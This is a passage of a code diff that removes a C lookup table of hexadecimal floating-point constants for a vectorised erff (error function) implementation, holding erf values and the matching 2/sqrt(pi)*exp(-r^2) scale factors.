+-   - __erff_data.erf contains the values of erf(r),
+-   - __erff_data.scale contains the values of 2/sqrt(pi)*exp(-r^2).
+-   Note that indices 0 and 1 are never hit by the algorithm, since lookup is
+-   performed only for x >= 1/64-1/512.  */
+-const struct sv_erff_data __sv_erff_data = {
+-  .erf = { 0x0.000000p+0,
+-	   0x1.20dbf4p-7,
+-	   0x1.20d770p-6,
+-	   0x1.b137e0p-6,
+-	   0x1.20c564p-5,
+-	   0x1.68e5d4p-5,
+-	   0x1.b0fafep-5,
+-	   0x1.f902a8p-5,
+-	   0x1.207d48p-4,
+-	   0x1.44703ep-4,
+-	   0x1.68591ap-4,
+-	   0x1.8c36bep-4,
+-	   0x1.b00812p-4,
+-	   0x1.d3cbf8p-4,
+-	   0x1.f7815ap-4,
+-	   0x1.0d9390p-3,
+-	   0x1.1f5e1ap-3,
+-	   0x1.311fc2p-3,
+-	   0x1.42d7fcp-3,
+-	   0x1.548642p-3,
+-	   0x1.662a0cp-3,
+-	   0x1.77c2d2p-3,
+-	   0x1.895010p-3,
+-	   0x1.9ad142p-3,
+-	   0x1.ac45e4p-3,
+-	   0x1.bdad72p-3,
+-	   0x1.cf076ep-3,
+-	   0x1.e05354p-3,
+-	   0x1.f190aap-3,
+-	   0x1.015f78p-2,
+-	   0x1.09eed6p-2,
+-	   0x1.127632p-2,
+-	   0x1.1af54ep-2,
+-	   0x1.236bf0p-2,
+-	   0x1.2bd9dcp-2,
+-	   0x1.343ed6p-2,
+-	   0x1.3c9aa8p-2,
+-	   0x1.44ed18p-2,
+-	   0x1.4d35f0p-2,
+-	   0x1.5574f4p-2,
+-	   0x1.5da9f4p-2,
+-	   0x1.65d4b8p-2,
+-	   0x1.6df50ap-2,
+-	   0x1.760abap-2,
+-	   0x1.7e1594p-2,
+-	   0x1.861566p-2,
+-	   0x1.8e0a02p-2,
+-	   0x1.95f336p-2,
+-	   0x1.9dd0d2p-2,
+-	   0x1.a5a2acp-2,
+-	   0x1.ad6896p-2,
+-	   0x1.b52264p-2,
+-	   0x1.bccfecp-2,
+-	   0x1.c47104p-2,
+-	   0x1.cc0584p-2,
+-	   0x1.d38d44p-2,
+-	   0x1.db081cp-2,
+-	   0x1.e275eap-2,
+-	   0x1.e9d68ap-2,
+-	   0x1.f129d4p-2,
+-	   0x1.f86faap-2,
+-	   0x1.ffa7eap-2,
+-	   0x1.03693ap-1,
+-	   0x1.06f794p-1,
+-	   0x1.0a7ef6p-1,
+-	   0x1.0dff50p-1,
+-	   0x1.117894p-1,
+-	   0x1.14eab4p-1,
+-	   0x1.1855a6p-1,
+-	   0x1.1bb95cp-1,
+-	   0x1.1f15ccp-1,
+-	   0x1.226ae8p-1,
+-	   0x1.25b8a8p-1,
+-	   0x1.28ff02p-1,
+-	   0x1.2c3decp-1,
+-	   0x1.2f755cp-1,
+-	   0x1.32a54cp-1,
+-	   0x1.35cdb4p-1,
+-	   0x1.38ee8ap-1,
+-	   0x1.3c07cap-1,
+-	   0x1.3f196ep-1,
+-	   0x1.42236ep-1,
+-	   0x1.4525c8p-1,
+-	   0x1.482074p-1,
+-	   0x1.4b1372p-1,
+-	   0x1.4dfebap-1,
+-	   0x1.50e24cp-1,
+-	   0x1.53be26p-1,
+-	   0x1.569244p-1,
+-	   0x1.595ea6p-1,
+-	   0x1.5c2348p-1,
+-	   0x1.5ee02ep-1,
+-	   0x1.619556p-1,
+-	   0x1.6442c0p-1,
+-	   0x1.66e86ep-1,
+-	   0x1.69865ep-1,
+-	   0x1.6c1c98p-1,
+-	   0x1.6eab18p-1,
+-	   0x1.7131e6p-1,
+-	   0x1.73b102p-1,
+-	   0x1.762870p-1,
+-	   0x1.789836p-1,
+-	   0x1.7b0058p-1,
+-	   0x1.7d60d8p-1,
+-	   0x1.7fb9c0p-1,
+-	   0x1.820b12p-1,
+-	   0x1.8454d6p-1,
+-	   0x1.869712p-1,
+-	   0x1.88d1cep-1,
+-	   0x1.8b050ep-1,
+-	   0x1.8d30dep-1,
+-	   0x1.8f5544p-1,
+-	   0x1.91724ap-1,
+-	   0x1.9387f6p-1,
+-	   0x1.959652p-1,
+-	   0x1.979d68p-1,
+-	   0x1.999d42p-1,
+-	   0x1.9b95e8p-1,
+-	   0x1.9d8768p-1,
+-	   0x1.9f71cap-1,
+-	   0x1.a1551ap-1,
+-	   0x1.a33162p-1,
+-	   0x1.a506b0p-1,
+-	   0x1.a6d50cp-1,
+-	   0x1.a89c86p-1,
+-	   0x1.aa5d26p-1,
+-	   0x1.ac16fcp-1,
+-	   0x1.adca14p-1,
+-	   0x1.af767ap-1,
+-	   0x1.b11c3cp-1,
+-	   0x1.b2bb68p-1,
+-	   0x1.b4540ap-1,
+-	   0x1.b5e630p-1,
+-	   0x1.b771e8p-1,
+-	   0x1.b8f742p-1,
+-	   0x1.ba764ap-1,
+-	   0x1.bbef10p-1,
+-	   0x1.bd61a2p-1,
+-	   0x1.bece0ep-1,
+-	   0x1.c03464p-1,
+-	   0x1.c194b2p-1,
+-	   0x1.c2ef08p-1,
+-	   0x1.c44376p-1,
+-	   0x1.c5920ap-1,
+-	   0x1.c6dad2p-1,
+-	   0x1.c81de2p-1,
+-	   0x1.c95b46p-1,
+-	   0x1.ca930ep-1,
+-	   0x1.cbc54cp-1,
+-	   0x1.ccf20cp-1,
+-	   0x1.ce1962p-1,
+-	   0x1.cf3b5cp-1,
+-	   0x1.d0580cp-1,
+-	   0x1.d16f7ep-1,
+-	   0x1.d281c4p-1,
+-	   0x1.d38ef0p-1,
+-	   0x1.d49710p-1,
+-	   0x1.d59a34p-1,
+-	   0x1.d6986cp-1,
+-	   0x1.d791cap-1,
+-	   0x1.d8865ep-1,
+-	   0x1.d97636p-1,
+-	   0x1.da6162p-1,
+-	   0x1.db47f4p-1,
+-	   0x1.dc29fcp-1,
+-	   0x1.dd0788p-1,
+-	   0x1.dde0aap-1,
+-	   0x1.deb570p-1,
+-	   0x1.df85eap-1,
+-	   0x1.e0522ap-1,
+-	   0x1.e11a3ep-1,
+-	   0x1.e1de36p-1,
+-	   0x1.e29e22p-1,
+-	   0x1.e35a12p-1,
+-	   0x1.e41214p-1,
+-	   0x1.e4c638p-1,
+-	   0x1.e5768cp-1,
+-	   0x1.e62322p-1,
+-	   0x1.e6cc08p-1,
+-	   0x1.e7714ap-1,
+-	   0x1.e812fcp-1,
+-	   0x1.e8b12ap-1,
+-	   0x1.e94be4p-1,
+-	   0x1.e9e336p-1,
+-	   0x1.ea7730p-1,
+-	   0x1.eb07e2p-1,
+-	   0x1.eb9558p-1,
+-	   0x1.ec1fa2p-1,
+-	   0x1.eca6ccp-1,
+-	   0x1.ed2ae6p-1,
+-	   0x1.edabfcp-1,
+-	   0x1.ee2a1ep-1,
+-	   0x1.eea556p-1,
+-	   0x1.ef1db4p-1,
+-	   0x1.ef9344p-1,
+-	   0x1.f00614p-1,
+-	   0x1.f07630p-1,
+-	   0x1.f0e3a6p-1,
+-	   0x1.f14e82p-1,
+-	   0x1.f1b6d0p-1,
+-	   0x1.f21ca0p-1,
+-	   0x1.f27ff8p-1,
+-	   0x1.f2e0eap-1,
+-	   0x1.f33f7ep-1,
+-	   0x1.f39bc2p-1,
+-	   0x1.f3f5c2p-1,
+-	   0x1.f44d88p-1,
+-	   0x1.f4a31ep-1,
+-	   0x1.f4f694p-1,
+-	   0x1.f547f2p-1,
+-	   0x1.f59742p-1,
+-	   0x1.f5e490p-1,
+-	   0x1.f62fe8p-1,
+-	   0x1.f67952p-1,
+-	   0x1.f6c0dcp-1,
+-	   0x1.f7068cp-1,
+-	   0x1.f74a6ep-1,
+-	   0x1.f78c8cp-1,
+-	   0x1.f7cceep-1,
+-	   0x1.f80ba2p-1,
+-	   0x1.f848acp-1,
+-	   0x1.f8841ap-1,
+-	   0x1.f8bdf2p-1,
+-	   0x1.f8f63ep-1,
+-	   0x1.f92d08p-1,
+-	   0x1.f96256p-1,
+-	   0x1.f99634p-1,
+-	   0x1.f9c8a8p-1,
+-	   0x1.f9f9bap-1,
+-	   0x1.fa2974p-1,
+-	   0x1.fa57dep-1,
+-	   0x1.fa84fep-1,
+-	   0x1.fab0dep-1,
+-	   0x1.fadb84p-1,
+-	   0x1.fb04f6p-1,
+-	   0x1.fb2d40p-1,
+-	   0x1.fb5464p-1,
+-	   0x1.fb7a6cp-1,
+-	   0x1.fb9f60p-1,
+-	   0x1.fbc344p-1,
+-	   0x1.fbe61ep-1,
+-	   0x1.fc07fap-1,
+-	   0x1.fc28d8p-1,
+-	   0x1.fc48c2p-1,
+-	   0x1.fc67bcp-1,
+-	   0x1.fc85d0p-1,
+-	   0x1.fca2fep-1,
+-	   0x1.fcbf52p-1,
+-	   0x1.fcdaccp-1,
+-	   0x1.fcf576p-1,
+-	   0x1.fd0f54p-1,
+-	   0x1.fd286ap-1,
+-	   0x1.fd40bep-1,
+-	   0x1.fd5856p-1,
+-	   0x1.fd6f34p-1,
+-	   0x1.fd8562p-1,
+-	   0x1.fd9ae2p-1,
+-	   0x1.fdafb8p-1,
+-	   0x1.fdc3e8p-1,
+-	   0x1.fdd77ap-1,
+-	   0x1.fdea6ep-1,
+-	   0x1.fdfcccp-1,
+-	   0x1.fe0e96p-1,
+-	   0x1.fe1fd0p-1,
+-	   0x1.fe3080p-1,
+-	   0x1.fe40a6p-1,
+-	   0x1.fe504cp-1,
+-	   0x1.fe5f70p-1,
+-	   0x1.fe6e18p-1,
+-	   0x1.fe7c46p-1,
+-	   0x1.fe8a00p-1,
+-	   0x1.fe9748p-1,
+-	   0x1.fea422p-1,
+-	   0x1.feb090p-1,
+-	   0x1.febc96p-1,
+-	   0x1.fec836p-1,
+-	   0x1.fed374p-1,
+-	   0x1.fede52p-1,
+-	   0x1.fee8d4p-1,
+-	   0x1.fef2fep-1,
+-	   0x1.fefccep-1,
+-	   0x1.ff064cp-1,
+-	   0x1.ff0f76p-1,
+-	   0x1.ff1852p-1,
+-	   0x1.ff20e0p-1,
+-	   0x1.ff2924p-1,
+-	   0x1.ff3120p-1,
+-	   0x1.ff38d6p-1,
+-	   0x1.ff4048p-1,
+-	   0x1.ff4778p-1,
+-	   0x1.ff4e68p-1,
+-	   0x1.ff551ap-1,
+-	   0x1.ff5b90p-1,
+-	   0x1.ff61ccp-1,
+-	   0x1.ff67d0p-1,
+-	   0x1.ff6d9ep-1,
+-	   0x1.ff7338p-1,
+-	   0x1.ff789ep-1,
+-	   0x1.ff7dd4p-1,
+-	   0x1.ff82dap-1,
+-	   0x1.ff87b2p-1,
+-	   0x1.ff8c5cp-1,
+-	   0x1.ff90dcp-1,
+-	   0x1.ff9532p-1,
+-	   0x1.ff9960p-1,
+-	   0x1.ff9d68p-1,
+-	   0x1.ffa14ap-1,
+-	   0x1.ffa506p-1,
+-	   0x1.ffa8a0p-1,
+-	   0x1.ffac18p-1,
+-	   0x1.ffaf6ep-1,
+-	   0x1.ffb2a6p-1,
+-	   0x1.ffb5bep-1,
+-	   0x1.ffb8b8p-1,
+-	   0x1.ffbb98p-1,
+-	   0x1.ffbe5ap-1,
+-	   0x1.ffc102p-1,
+-	   0x1.ffc390p-1,
+-	   0x1.ffc606p-1,
+-	   0x1.ffc862p-1,
+-	   0x1.ffcaa8p-1,
+-	   0x1.ffccd8p-1,
+-	   0x1.ffcef4p-1,
+-	   0x1.ffd0fap-1,
+-	   0x1.ffd2eap-1,
+-	   0x1.ffd4cap-1,
+-	   0x1.ffd696p-1,
+-	   0x1.ffd84ep-1,
+-	   0x1.ffd9f8p-1,
+-	   0x1.ffdb90p-1,
+-	   0x1.ffdd18p-1,
+-	   0x1.ffde90p-1,
+-	   0x1.ffdffap-1,
+-	   0x1.ffe154p-1,
+-	   0x1.ffe2a2p-1,
+-	   0x1.ffe3e2p-1,
+-	   0x1.ffe514p-1,
+-	   0x1.ffe63cp-1,
+-	   0x1.ffe756p-1,
+-	   0x1.ffe866p-1,
+-	   0x1.ffe96ap-1,
+-	   0x1.ffea64p-1,
+-	   0x1.ffeb54p-1,
+-	   0x1.ffec3ap-1,
+-	   0x1.ffed16p-1,
+-	   0x1.ffedeap-1,
+-	   0x1.ffeeb4p-1,
+-	   0x1.ffef76p-1,
+-	   0x1.fff032p-1,
+-	   0x1.fff0e4p-1,
+-	   0x1.fff18ep-1,
+-	   0x1.fff232p-1,
+-	   0x1.fff2d0p-1,
+-	   0x1.fff366p-1,
+-	   0x1.fff3f6p-1,
+-	   0x1.fff480p-1,
+-	   0x1.fff504p-1,
+-	   0x1.fff582p-1,
+-	   0x1.fff5fcp-1,
+-	   0x1.fff670p-1,
+-	   0x1.fff6dep-1,
+-	   0x1.fff74ap-1,
+-	   0x1.fff7aep-1,
+-	   0x1.fff810p-1,
+-	   0x1.fff86cp-1,
+-	   0x1.fff8c6p-1,
+-	   0x1.fff91cp-1,
+-	   0x1.fff96cp-1,
+-	   0x1.fff9bap-1,
+-	   0x1.fffa04p-1,
+-	   0x1.fffa4cp-1,
+-	   0x1.fffa90p-1,
+-	   0x1.fffad0p-1,
+-	   0x1.fffb0ep-1,
+-	   0x1.fffb4ap-1,
+-	   0x1.fffb82p-1,
+-	   0x1.fffbb8p-1,
+-	   0x1.fffbecp-1,
+-	   0x1.fffc1ep-1,
+-	   0x1.fffc4ep-1,
+-	   0x1.fffc7ap-1,
+-	   0x1.fffca6p-1,
+-	   0x1.fffccep-1,
+-	   0x1.fffcf6p-1,
+-	   0x1.fffd1ap-1,
+-	   0x1.fffd3ep-1,
+-	   0x1.fffd60p-1,
+-	   0x1.fffd80p-1,
+-	   0x1.fffda0p-1,
+-	   0x1.fffdbep-1,
+-	   0x1.fffddap-1,
+-	   0x1.fffdf4p-1,
+-	   0x1.fffe0ep-1,
+-	   0x1.fffe26p-1,
+-	   0x1.fffe3ep-1,
+-	   0x1.fffe54p-1,
+-	   0x1.fffe68p-1,
+-	   0x1.fffe7ep-1,
+-	   0x1.fffe90p-1,
+-	   0x1.fffea2p-1,
+-	   0x1.fffeb4p-1,
+-	   0x1.fffec4p-1,
+-	   0x1.fffed4p-1,
+-	   0x1.fffee4p-1,
+-	   0x1.fffef2p-1,
+-	   0x1.ffff00p-1,
+-	   0x1.ffff0cp-1,
+-	   0x1.ffff18p-1,
+-	   0x1.ffff24p-1,
+-	   0x1.ffff30p-1,
+-	   0x1.ffff3ap-1,
+-	   0x1.ffff44p-1,
+-	   0x1.ffff4ep-1,
+-	   0x1.ffff56p-1,
+-	   0x1.ffff60p-1,
+-	   0x1.ffff68p-1,
+-	   0x1.ffff70p-1,
+-	   0x1.ffff78p-1,
+-	   0x1.ffff7ep-1,
+-	   0x1.ffff84p-1,
+-	   0x1.ffff8cp-1,
+-	   0x1.ffff92p-1,
+-	   0x1.ffff98p-1,
+-	   0x1.ffff9cp-1,
+-	   0x1.ffffa2p-1,
+-	   0x1.ffffa6p-1,
+-	   0x1.ffffacp-1,
+-	   0x1.ffffb0p-1,
+-	   0x1.ffffb4p-1,
+-	   0x1.ffffb8p-1,
+-	   0x1.ffffbcp-1,
+-	   0x1.ffffc0p-1,
+-	   0x1.ffffc4p-1,
+-	   0x1.ffffc6p-1,
+-	   0x1.ffffcap-1,
+-	   0x1.ffffccp-1,
+-	   0x1.ffffd0p-1,
+-	   0x1.ffffd2p-1,
+-	   0x1.ffffd4p-1,
+-	   0x1.ffffd6p-1,
+-	   0x1.ffffd8p-1,
+-	   0x1.ffffdcp-1,
+-	   0x1.ffffdep-1,
+-	   0x1.ffffdep-1,
+-	   0x1.ffffe0p-1,
+-	   0x1.ffffe2p-1,
+-	   0x1.ffffe4p-1,
+-	   0x1.ffffe6p-1,
+-	   0x1.ffffe8p-1,
+-	   0x1.ffffe8p-1,
+-	   0x1.ffffeap-1,
+-	   0x1.ffffeap-1,
+-	   0x1.ffffecp-1,
+-	   0x1.ffffeep-1,
+-	   0x1.ffffeep-1,
+-	   0x1.fffff0p-1,
+-	   0x1.fffff0p-1,
+-	   0x1.fffff2p-1,
+-	   0x1.fffff2p-1,
+-	   0x1.fffff2p-1,
+-	   0x1.fffff4p-1,
+-	   0x1.fffff4p-1,
+-	   0x1.fffff4p-1,
+-	   0x1.fffff6p-1,
+-	   0x1.fffff6p-1,
+-	   0x1.fffff6p-1,
+-	   0x1.fffff8p-1,
+-	   0x1.fffff8p-1,
+-	   0x1.fffff8p-1,
+-	   0x1.fffff8p-1,
+-	   0x1.fffffap-1,
+-	   0x1.fffffap-1,
+-	   0x1.fffffap-1,
+-	   0x1.fffffap-1,
+-	   0x1.fffffap-1,
+-	   0x1.fffffap-1,
+-	   0x1.fffffcp-1,
+-	   0x1.fffffcp-1,
+-	   0x1.fffffcp-1,
+-	   0x1.fffffcp-1,
+-	   0x1.fffffcp-1,
+-	   0x1.fffffcp-1,
+-	   0x1.fffffcp-1,
+-	   0x1.fffffcp-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.fffffep-1,
+-	   0x1.000000p+0,
+-	   0x1.000000p+0,
+-	   0x1.000000p+0,
+-	   0x1.000000p+0,
+-	   0x1.000000p+0,
+-	   0x1.000000p+0,
+-	   0x1.000000p+0,
+-	   0x1.000000p+0,
+-	   0x1.000000p+0,
+-	   0x1.000000p+0,
+-	   0x1.000000p+0,
+-  },
+-  .scale = { 0x1.20dd76p+0,
+-	     0x1.20d8f2p+0,
+-	     0x1.20cb68p+0,
+-	     0x1.20b4d8p+0,
+-	     0x1.209546p+0,
+-	     0x1.206cb4p+0,
+-	     0x1.203b26p+0,
+-	     0x1.2000a0p+0,
+-	     0x1.1fbd28p+0,
+-	     0x1.1f70c4p+0,
+-	     0x1.1f1b7ap+0,
+-	     0x1.1ebd56p+0,
+-	     0x1.1e565cp+0,
+-	     0x1.1de698p+0,
+-	     0x1.1d6e14p+0,
+-	     0x1.1cecdcp+0,
+-	     0x1.1c62fap+0,
+-	     0x1.1bd07cp+0,
+-	     0x1.1b3572p+0,
+-	     0x1.1a91e6p+0,
+-	     0x1.19e5eap+0,
+-	     0x1.19318cp+0,
+-	     0x1.1874dep+0,
+-	     0x1.17aff0p+0,
+-	     0x1.16e2d8p+0,
+-	     0x1.160da4p+0,
+-	     0x1.153068p+0,
+-	     0x1.144b3cp+0,
+-	     0x1.135e30p+0,
+-	     0x1.12695ep+0,
+-	     0x1.116cd8p+0,
+-	     0x1.1068bap+0,
+-	     0x1.0f5d16p+0,
+-	     0x1.0e4a08p+0,
+-	     0x1.0d2fa6p+0,
+-	     0x1.0c0e0ap+0,
+-	     0x1.0ae550p+0,
+-	     0x1.09b590p+0,
+-	     0x1.087ee4p+0,
+-	     0x1.07416cp+0,
+-	     0x1.05fd3ep+0,
+-	     0x1.04b27cp+0,
+-	     0x1.036140p+0,
+-	     0x1.0209a6p+0,
+-	     0x1.00abd0p+0,
+-	     0x1.fe8fb0p-1,
+-	     0x1.fbbbbep-1,
+-	     0x1.f8dc0ap-1,
+-	     0x1.f5f0cep-1,
+-	     0x1.f2fa4cp-1,
+-	     0x1.eff8c4p-1,
+-	     0x1.ecec78p-1,
+-	     0x1.e9d5a8p-1,
+-	     0x1.e6b498p-1,
+-	     0x1.e38988p-1,
+-	     0x1.e054bep-1,
+-	     0x1.dd167cp-1,
+-	     0x1.d9cf06p-1,
+-	     0x1.d67ea2p-1,
+-	     0x1.d32592p-1,
+-	     0x1.cfc41ep-1,
+-	     0x1.cc5a8ap-1,
+-	     0x1.c8e91cp-1,
+-	     0x1.c5701ap-1,
+-	     0x1.c1efcap-1,
+-	     0x1.be6872p-1,
+-	     0x1.bada5ap-1,
+-	     0x1.b745c6p-1,
+-	     0x1.b3aafcp-1,
+-	     0x1.b00a46p-1,
+-	     0x1.ac63e8p-1,
+-	     0x1.a8b828p-1,
+-	     0x1.a5074ep-1,
+-	     0x1.a1519ep-1,
+-	     0x1.9d9762p-1,
+-	     0x1.99d8dap-1,
+-	     0x1.961650p-1,
+-	     0x1.925008p-1,
+-	     0x1.8e8646p-1,
+-	     0x1.8ab950p-1,
+-	     0x1.86e96ap-1,
+-	     0x1.8316d6p-1,
+-	     0x1.7f41dcp-1,
+-	     0x1.7b6abcp-1,
+-	     0x1.7791b8p-1,
+-	     0x1.73b714p-1,
+-	     0x1.6fdb12p-1,
+-	     0x1.6bfdf0p-1,
+-	     0x1.681ff2p-1,
+-	     0x1.644156p-1,
+-	     0x1.60625cp-1,
+-	     0x1.5c8342p-1,
+-	     0x1.58a446p-1,
+-	     0x1.54c5a6p-1,
+-	     0x1.50e79ep-1,
+-	     0x1.4d0a68p-1,
+-	     0x1.492e42p-1,
+-	     0x1.455366p-1,
+-	     0x1.417a0cp-1,
+-	     0x1.3da26ep-1,
+-	     0x1.39ccc2p-1,
+-	     0x1.35f940p-1,
+-	     0x1.32281ep-1,
+-	     0x1.2e5992p-1,
+-	     0x1.2a8dcep-1,
+-	     0x1.26c508p-1,
+-	     0x1.22ff72p-1,
+-	     0x1.1f3d3cp-1,
+-	     0x1.1b7e98p-1,
+-	     0x1.17c3b6p-1,
+-	     0x1.140cc4p-1,
+-	     0x1.1059eep-1,
+-	     0x1.0cab62p-1,
+-	     0x1.09014cp-1,
+-	     0x1.055bd6p-1,
+-	     0x1.01bb2cp-1,
+-	     0x1.fc3ee6p-2,
+-	     0x1.f511aap-2,
+-	     0x1.edeeeep-2,
+-	     0x1.e6d700p-2,
+-	     0x1.dfca26p-2,
+-	     0x1.d8c8aap-2,
+-	     0x1.d1d2d0p-2,
+-	     0x1.cae8dap-2,
+-	     0x1.c40b08p-2,
+-	     0x1.bd3998p-2,
+-	     0x1.b674c8p-2,
+-	     0x1.afbcd4p-2,
+-	     0x1.a911f0p-2,
+-	     0x1.a27456p-2,
+-	     0x1.9be438p-2,
+-	     0x1.9561c8p-2,
+-	     0x1.8eed36p-2,
+-	     0x1.8886b2p-2,
+-	     0x1.822e66p-2,
+-	     0x1.7be47ap-2,
+-	     0x1.75a91ap-2,
+-	     0x1.6f7c6ap-2,
+-	     0x1.695e8cp-2,
+-	     0x1.634fa6p-2,
+-	     0x1.5d4fd4p-2,
+-	     0x1.575f34p-2,
+-	     0x1.517de6p-2,
+-	     0x1.4bac00p-2,
+-	     0x1.45e99cp-2,
+-	     0x1.4036d0p-2,
+-	     0x1.3a93b2p-2,
+-	     0x1.350052p-2,
+-	     0x1.2f7cc4p-2,
+-	     0x1.2a0916p-2,
+-	     0x1.24a554p-2,
+-	     0x1.1f518ap-2,
+-	     0x1.1a0dc6p-2,
+-	     0x1.14da0ap-2,
+-	     0x1.0fb662p-2,
+-	     0x1.0aa2d0p-2,
+-	     0x1.059f5ap-2,
+-	     0x1.00ac00p-2,
+-	     0x1.f79184p-3,
+-	     0x1.edeb40p-3,
+-	     0x1.e46530p-3,
+-	     0x1.daff4ap-3,
+-	     0x1.d1b982p-3,
+-	     0x1.c893cep-3,
+-	     0x1.bf8e1cp-3,
+-	     0x1.b6a856p-3,
+-	     0x1.ade26cp-3,
+-	     0x1.a53c42p-3,
+-	     0x1.9cb5bep-3,
+-	     0x1.944ec2p-3,
+-	     0x1.8c0732p-3,
+-	     0x1.83deeap-3,
+-	     0x1.7bd5c8p-3,
+-	     0x1.73eba4p-3,
+-	     0x1.6c2056p-3,
+-	     0x1.6473b6p-3,
+-	     0x1.5ce596p-3,
+-	     0x1.5575c8p-3,
+-	     0x1.4e241ep-3,
+-	     0x1.46f066p-3,
+-	     0x1.3fda6cp-3,
+-	     0x1.38e1fap-3,
+-	     0x1.3206dcp-3,
+-	     0x1.2b48dap-3,
+-	     0x1.24a7b8p-3,
+-	     0x1.1e233ep-3,
+-	     0x1.17bb2cp-3,
+-	     0x1.116f48p-3,
+-	     0x1.0b3f52p-3,
+-	     0x1.052b0cp-3,
+-	     0x1.fe6460p-4,
+-	     0x1.f2a902p-4,
+-	     0x1.e72372p-4,
+-	     0x1.dbd32ap-4,
+-	     0x1.d0b7a0p-4,
+-	     0x1.c5d04ap-4,
+-	     0x1.bb1c98p-4,
+-	     0x1.b09bfcp-4,
+-	     0x1.a64de6p-4,
+-	     0x1.9c31c6p-4,
+-	     0x1.92470ap-4,
+-	     0x1.888d1ep-4,
+-	     0x1.7f036cp-4,
+-	     0x1.75a960p-4,
+-	     0x1.6c7e64p-4,
+-	     0x1.6381e2p-4,
+-	     0x1.5ab342p-4,
+-	     0x1.5211ecp-4,
+-	     0x1.499d48p-4,
+-	     0x1.4154bcp-4,
+-	     0x1.3937b2p-4,
+-	     0x1.31458ep-4,
+-	     0x1.297dbap-4,
+-	     0x1.21df9ap-4,
+-	     0x1.1a6a96p-4,
+-	     0x1.131e14p-4,
+-	     0x1.0bf97ep-4,
+-	     0x1.04fc3ap-4,
+-	     0x1.fc4b5ep-5,
+-	     0x1.eeea8cp-5,
+-	     0x1.e1d4d0p-5,
+-	     0x1.d508fap-5,
+-	     0x1.c885e0p-5,
+-	     0x1.bc4a54p-5,
+-	     0x1.b05530p-5,
+-	     0x1.a4a54ap-5,
+-	     0x1.99397ap-5,
+-	     0x1.8e109cp-5,
+-	     0x1.83298ep-5,
+-	     0x1.78832cp-5,
+-	     0x1.6e1c58p-5,
+-	     0x1.63f3f6p-5,
+-	     0x1.5a08e8p-5,
+-	     0x1.505a18p-5,
+-	     0x1.46e66cp-5,
+-	     0x1.3dacd2p-5,
+-	     0x1.34ac36p-5,
+-	     0x1.2be38cp-5,
+-	     0x1.2351c2p-5,
+-	     0x1.1af5d2p-5,
+-	     0x1.12ceb4p-5,
+-	     0x1.0adb60p-5,
+-	     0x1.031ad6p-5,
+-	     0x1.f7182ap-6,
+-	     0x1.e85c44p-6,
+-	     0x1.da0006p-6,
+-	     0x1.cc0180p-6,
+-	     0x1.be5ecep-6,
+-	     0x1.b1160ap-6,
+-	     0x1.a4255ap-6,
+-	     0x1.978ae8p-6,
+-	     0x1.8b44e6p-6,
+-	     0x1.7f5188p-6,
+-	     0x1.73af0cp-6,
+-	     0x1.685bb6p-6,
+-	     0x1.5d55ccp-6,
+-	     0x1.529b9ep-6,
+-	     0x1.482b84p-6,
+-	     0x1.3e03d8p-6,
+-	     0x1.3422fep-6,
+-	     0x1.2a875cp-6,
+-	     0x1.212f62p-6,
+-	     0x1.181984p-6,
+-	     0x1.0f443ep-6,
+-	     0x1.06ae14p-6,
+-	     0x1.fcab14p-7,
+-	     0x1.ec7262p-7,
+-	     0x1.dcaf36p-7,
+-	     0x1.cd5ecap-7,
+-	     0x1.be7e5ap-7,
+-	     0x1.b00b38p-7,
+-	     0x1.a202bep-7,
+-	     0x1.94624ep-7,
+-	     0x1.87275ep-7,
+-	     0x1.7a4f6ap-7,
+-	     0x1.6dd7fep-7,
+-	     0x1.61beaep-7,
+-	     0x1.56011cp-7,
+-	     0x1.4a9cf6p-7,
+-	     0x1.3f8ff6p-7,
+-	     0x1.34d7dcp-7,
+-	     0x1.2a727ap-7,
+-	     0x1.205dacp-7,
+-	     0x1.169756p-7,
+-	     0x1.0d1d6ap-7,
+-	     0x1.03ede2p-7,
+-	     0x1.f60d8ap-8,
+-	     0x1.e4cc4ap-8,
+-	     0x1.d4143ap-8,
+-	     0x1.c3e1a6p-8,
+-	     0x1.b430ecp-8,
+-	     0x1.a4fe84p-8,
+-	     0x1.9646f4p-8,
+-	     0x1.8806d8p-8,
+-	     0x1.7a3adep-8,
+-	     0x1.6cdfccp-8,
+-	     0x1.5ff276p-8,
+-	     0x1.536fc2p-8,
+-	     0x1.4754acp-8,
+-	     0x1.3b9e40p-8,
+-	     0x1.30499cp-8,
+-	     0x1.2553eep-8,
+-	     0x1.1aba78p-8,
+-	     0x1.107a8cp-8,
+-	     0x1.06918cp-8,
+-	     0x1.f9f9d0p-9,
+-	     0x1.e77448p-9,
+-	     0x1.d58da6p-9,
+-	     0x1.c4412cp-9,
+-	     0x1.b38a3ap-9,
+-	     0x1.a36454p-9,
+-	     0x1.93cb12p-9,
+-	     0x1.84ba30p-9,
+-	     0x1.762d84p-9,
+-	     0x1.682100p-9,
+-	     0x1.5a90b0p-9,
+-	     0x1.4d78bcp-9,
+-	     0x1.40d564p-9,
+-	     0x1.34a306p-9,
+-	     0x1.28de12p-9,
+-	     0x1.1d8318p-9,
+-	     0x1.128ebap-9,
+-	     0x1.07fdb4p-9,
+-	     0x1.fb99b8p-10,
+-	     0x1.e7f232p-10,
+-	     0x1.d4fed8p-10,
+-	     0x1.c2b9d0p-10,
+-	     0x1.b11d70p-10,
+-	     0x1.a02436p-10,
+-	     0x1.8fc8c8p-10,
+-	     0x1.8005f0p-10,
+-	     0x1.70d6a4p-10,
+-	     0x1.6235fcp-10,
+-	     0x1.541f34p-10,
+-	     0x1.468daep-10,
+-	     0x1.397ceep-10,
+-	     0x1.2ce898p-10,
+-	     0x1.20cc76p-10,
+-	     0x1.15246ep-10,
+-	     0x1.09ec86p-10,
+-	     0x1.fe41cep-11,
+-	     0x1.e97ba4p-11,
+-	     0x1.d57f52p-11,
+-	     0x1.c245d4p-11,
+-	     0x1.afc85ep-11,
+-	     0x1.9e0058p-11,
+-	     0x1.8ce75ep-11,
+-	     0x1.7c7744p-11,
+-	     0x1.6caa0ep-11,
+-	     0x1.5d79ecp-11,
+-	     0x1.4ee142p-11,
+-	     0x1.40daa4p-11,
+-	     0x1.3360ccp-11,
